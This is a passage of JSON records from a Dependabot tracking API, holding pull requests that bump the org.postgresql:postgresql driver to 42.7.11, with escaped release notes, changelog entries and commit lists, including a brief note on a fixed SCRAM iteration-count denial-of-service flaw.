cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.3...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=org.postgresql:postgresql\u0026package-manager=maven\u0026previous-version=42.7.3\u0026new-version=42.7.11)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/Maria0412/evaluacion_2/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Maria0412%2Fevaluacion_2/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"},{"uuid":"4528575087","node_id":"PR_kwDOOUn_DM7foUAf","number":132,"state":"open","title":"Bump org.postgresql:postgresql from 42.7.10 to 42.7.11","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-27T00:53:42.000Z","updated_at":"2026-05-27T04:48:26.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":null,"ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.10 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca 